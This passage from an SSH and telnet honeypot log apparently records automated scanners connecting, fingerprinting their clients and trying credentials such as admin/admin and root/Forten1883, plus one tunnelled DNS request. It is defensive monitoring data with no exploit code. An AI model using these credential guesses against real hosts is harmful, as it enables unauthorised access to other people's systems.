m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:48.062506Z","src_ip":"87.251.64.176","session":"1f67bdda1e4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:48.347491Z","src_ip":"87.251.64.176","session":"1f67bdda1e4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:48.443604Z","session":"1f67bdda1e4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:48.539802Z","src_ip":"87.251.64.176","session":"1f67bdda1e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:48.635946Z","src_ip":"87.251.64.176","session":"1f67bdda1e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.219717025756836,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:13.433679Z","src_ip":"128.199.8.54","session":"f60491cc1fcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":31750,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a8b0eec07d","protocol":"ssh","message":"New connection: 172.110.221.82:31750 (10.17.0.5:22) [session: a9a8b0eec07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:14.335505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:14.338856Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:14.448766Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:0f:0c:b5:c4:aa:ff:76:7c:51:d1:c3:ec:12:06:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC15K+0Md2fTPjQnDlgGK2VZYWt8Nr2bSDNI87sr9qIf/C+by+7hvEggE8y1fcPVKK8Ra6Hpc5+qG2CQbcm/mgrmON+FmH8o0peYzd7OtEEAy2w0udcVRwp2fwTlvua9y8dlxccw8w3uAoSincKYW4zW5TRlUmq5zQhiOhwILtGufEIGCgJP2wMx+KYcBckbREEb+Wm6OURwXXEyZhS0Mdr/0bXnDv0J5ZtLKDRt5U3pYh/e1AKcG5kHBG8dadhEraUBK6lQGd1RVq+7yJX3YkisCVamYLLZIMXqk++emrUar9oF6QVLveVwTfoVsxyuckUk/mQAQc+obmNgQQ/up17","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:0f:0c:b5:c4:aa:ff:76:7c:51:d1:c3:ec:12:06:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:14.971311Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:0f:0c:b5:c4:aa:ff:76:7c:51:d1:c3:ec:12:06:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC15K+0Md2fTPjQnDlgGK2VZYWt8Nr2bSDNI87sr9qIf/C+by+7hvEggE8y1fcPVKK8Ra6Hpc5+qG2CQbcm/mgrmON+FmH8o0peYzd7OtEEAy2w0udcVRwp2fwTlvua9y8dlxccw8w3uAoSincKYW4zW5TRlUmq5zQhiOhwILtGufEIGCgJP2wMx+KYcBckbREEb+Wm6OURwXXEyZhS0Mdr/0bXnDv0J5ZtLKDRt5U3pYh/e1AKcG5kHBG8dadhEraUBK6lQGd1RVq+7yJX3YkisCVamYLLZIMXqk++emrUar9oF6QVLveVwTfoVsxyuckUk/mQAQc+obmNgQQ/up17","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:14.973633Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:1a:ae:35:f1:d9:c7:e7:82:ce:d0:ea:46:7c:b4:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSlYssdRkvbXP9dEti0eujcyWdOzrQkfe6lxCJ5sTxYH7cpPo/chLjKJV0KWvZnGUPM0uqEkFZKovfpcTRCTM3sVM+49g+nnqB02xFlYW6UvlbS8MPdZFz4ZwO9aaUnhU/w+F7zK+WjjIMChZSDDfZoSimDk6HhesepW8ZnEow4X0gBaClMnoKTIIHKvQuTLnpdHy2u6O4v8Mv7qffYtQdiNv7uZfmF4gumt+16koaeYdlW7XeP/xiPX1Z7QRbjOdFz+kcEfmXBN/YK0mhn2T70FiibVlM7jhuY91De87XY5tZaQDYmXLSVSiXQk53T6OiTePYeocLIIS7qGRHSSD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:1a:ae:35:f1:d9:c7:e7:82:ce:d0:ea:46:7c:b4:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.082677Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:1a:ae:35:f1:d9:c7:e7:82:ce:d0:ea:46:7c:b4:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSlYssdRkvbXP9dEti0eujcyWdOzrQkfe6lxCJ5sTxYH7cpPo/chLjKJV0KWvZnGUPM0uqEkFZKovfpcTRCTM3sVM+49g+nnqB02xFlYW6UvlbS8MPdZFz4ZwO9aaUnhU/w+F7zK+WjjIMChZSDDfZoSimDk6HhesepW8ZnEow4X0gBaClMnoKTIIHKvQuTLnpdHy2u6O4v8Mv7qffYtQdiNv7uZfmF4gumt+16koaeYdlW7XeP/xiPX1Z7QRbjOdFz+kcEfmXBN/YK0mhn2T70FiibVlM7jhuY91De87XY5tZaQDYmXLSVSiXQk53T6OiTePYeocLIIS7qGRHSSD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.086248Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:14:52:fd:a0:c6:86:7d:b1:5b:3b:cf:d7:c1:c4:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeVwpW0o0Qb7lINNXDWShbiBFlbb8Vm8CQYKP0tId3EXhdL4xaeWPgFlx52dR1DMrOROjpdd51UFV6rWmaVq8LDu1ZGhslVcVk8Qg44e6UhAkXAuC9ofS/3q0vwFi5mUFnbw3gvGLhWTGug6RHESOL3Z1+GlvoGY7UBsWOthT6Ipip5HcVGrFN+S7FWMbwcRoid+0/owhw7K3YMJr090/kuuHSJl3xoXOZP6YI2jz5L81ifpYzAnUlpxiZimtGHIIG1Vvsh7AgqZsCxnBhux6pTK+9EKk5eDsAvMzciNHUTaSudSXZ3GGzmiW0WeMYTYCxE1NyAkJjAuscIM087g1T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:14:52:fd:a0:c6:86:7d:b1:5b:3b:cf:d7:c1:c4:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.194721Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:14:52:fd:a0:c6:86:7d:b1:5b:3b:cf:d7:c1:c4:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeVwpW0o0Qb7lINNXDWShbiBFlbb8Vm8CQYKP0tId3EXhdL4xaeWPgFlx52dR1DMrOROjpdd51UFV6rWmaVq8LDu1ZGhslVcVk8Qg44e6UhAkXAuC9ofS/3q0vwFi5mUFnbw3gvGLhWTGug6RHESOL3Z1+GlvoGY7UBsWOthT6Ipip5HcVGrFN+S7FWMbwcRoid+0/owhw7K3YMJr090/kuuHSJl3xoXOZP6YI2jz5L81ifpYzAnUlpxiZimtGHIIG1Vvsh7AgqZsCxnBhux6pTK+9EKk5eDsAvMzciNHUTaSudSXZ3GGzmiW0WeMYTYCxE1NyAkJjAuscIM087g1T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.197001Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:da:0b:2d:d8:43:ff:e5:80:70:53:b4:5b:6b:11:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOMB2q7cMEsbzvkgWO3VA/nBmpvbRj0uzxqn743Xk0UenC+Py6T6XcVqih657BCHvaSqiIQbeTMmkIHb036HLJLlBdK1RtZahfAU7ewmXvGMuW3Z+s/m8+DRWSeCcrdtJyDGpe/g5lW5yVue+ogM92Rt6rUDjONW2uC7EkY3oFN9vtLF4JubO0gweFS67eKaJa5ZhEm2CUaf7dpH8Q8X/nECrTn+A2aqyDEeV/Fv+4mWg/s6G5mmF/AQUf7t2vW6X1FKkZf2ftZBLbM8Br88FV8vCiZiee95/5I1RvsR62XagN30YFOXbkKQ95a8yau/NubGjbpz3LJbpTHzzvYVog43PG5R0xV3e3T+cFLRDMezA34Bx+30db/Mah5xNwqH7JfogcbWjnhD/vHnPVZbUkLGCbPI9OZyQGNGt4S2o5loDXLzVy0rbUJOzq/PqobAmP1txP9HUe7SkcAwxE+BwBiIOlYkqjH/7+C9eDKUWXCfv3F16L7bSM03J1AoxRqI9c0QNhZk+EvKG/gFDj0Cj5ieGRg2nFfcg/3DduMv4LwA51JwdfXjKLUdgRONOja6QO6aFX9lhwl1HYMEnX2/y/ep/pt9Rsk+PanK0mleu40LbS2BfnGuRmztg6gk37hq+Nax4XhK4/fUsxToBlqwOkCF0TIpotO5V/wg6Va5uh0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:da:0b:2d:d8:43:ff:e5:80:70:53:b4:5b:6b:11:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.304810Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:da:0b:2d:d8:43:ff:e5:80:70:53:b4:5b:6b:11:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOMB2q7cMEsbzvkgWO3VA/nBmpvbRj0uzxqn743Xk0UenC+Py6T6XcVqih657BCHvaSqiIQbeTMmkIHb036HLJLlBdK1RtZahfAU7ewmXvGMuW3Z+s/m8+DRWSeCcrdtJyDGpe/g5lW5yVue+ogM92Rt6rUDjONW2uC7EkY3oFN9vtLF4JubO0gweFS67eKaJa5ZhEm2CUaf7dpH8Q8X/nECrTn+A2aqyDEeV/Fv+4mWg/s6G5mmF/AQUf7t2vW6X1FKkZf2ftZBLbM8Br88FV8vCiZiee95/5I1RvsR62XagN30YFOXbkKQ95a8yau/NubGjbpz3LJbpTHzzvYVog43PG5R0xV3e3T+cFLRDMezA34Bx+30db/Mah5xNwqH7JfogcbWjnhD/vHnPVZbUkLGCbPI9OZyQGNGt4S2o5loDXLzVy0rbUJOzq/PqobAmP1txP9HUe7SkcAwxE+BwBiIOlYkqjH/7+C9eDKUWXCfv3F16L7bSM03J1AoxRqI9c0QNhZk+EvKG/gFDj0Cj5ieGRg2nFfcg/3DduMv4LwA51JwdfXjKLUdgRONOja6QO6aFX9lhwl1HYMEnX2/y/ep/pt9Rsk+PanK0mleu40LbS2BfnGuRmztg6gk37hq+Nax4XhK4/fUsxToBlqwOkCF0TIpotO5V/wg6Va5uh0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.307807Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:ac:46:84:93:d8:86:ae:86:37:30:e3:60:72:40:f0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYoxSscDzmq+waijBVovUHI4hKD2EtCPnAhknUeHRuk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint dc:ac:46:84:93:d8:86:ae:86:37:30:e3:60:72:40:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.416753Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:ac:46:84:93:d8:86:ae:86:37:30:e3:60:72:40:f0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYoxSscDzmq+waijBVovUHI4hKD2EtCPnAhknUeHRuk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.419643Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:15.527884Z","src_ip":"172.110.221.82","session":"a9a8b0eec07d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49304,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ecd05ae7e32","protocol":"ssh","message":"New connection: 103.27.238.114:49304 (159.203.135.109:22) [session: 3ecd05ae7e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:32.516008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:32.519453Z","src_ip":"103.27.238.114","session":"3ecd05ae7e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:32.782812Z","src_ip":"103.27.238.114","session":"3ecd05ae7e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"groovy","message":"login attempt [root/groovy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:33.575304Z","src_ip":"103.27.238.114","session":"3ecd05ae7e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:34.839730Z","src_ip":"103.27.238.114","session":"3ecd05ae7e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41740,"dst_ip":"159.203.135.109","dst_port":23,"session":"2093825f6ce9","protocol":"telnet","message":"New connection: 172.81.62.90:41740 (159.203.135.109:23) [session: 2093825f6ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:44.045526Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57802,"dst_ip":"159.203.135.109","dst_port":23,"session":"473d897e2006","protocol":"telnet","message":"New connection: 172.81.62.90:57802 (159.203.135.109:23) [session: 473d897e2006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:52.187441Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50528,"dst_ip":"10.17.0.5","dst_port":22,"session":"07e93d1f8024","protocol":"ssh","message":"New connection: 103.15.222.183:50528 (10.17.0.5:22) [session: 07e93d1f8024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:58.850194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:58.853684Z","src_ip":"103.15.222.183","session":"07e93d1f8024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:59.106481Z","src_ip":"103.15.222.183","session":"07e93d1f8024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:38:59.916197Z","src_ip":"103.15.222.183","session":"07e93d1f8024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:01.172053Z","src_ip":"103.15.222.183","session":"07e93d1f8024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":58768,"dst_ip":"10.17.0.5","dst_port":22,"session":"f148e7e38d93","protocol":"ssh","message":"New connection: 27.71.230.31:58768 (10.17.0.5:22) [session: f148e7e38d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:20.952369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:21.019721Z","src_ip":"27.71.230.31","session":"f148e7e38d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.74635863304138,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:21.791783Z","src_ip":"172.81.62.90","session":"2093825f6ce9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:22.248840Z","src_ip":"27.71.230.31","session":"f148e7e38d93","protocol":"ssh"}
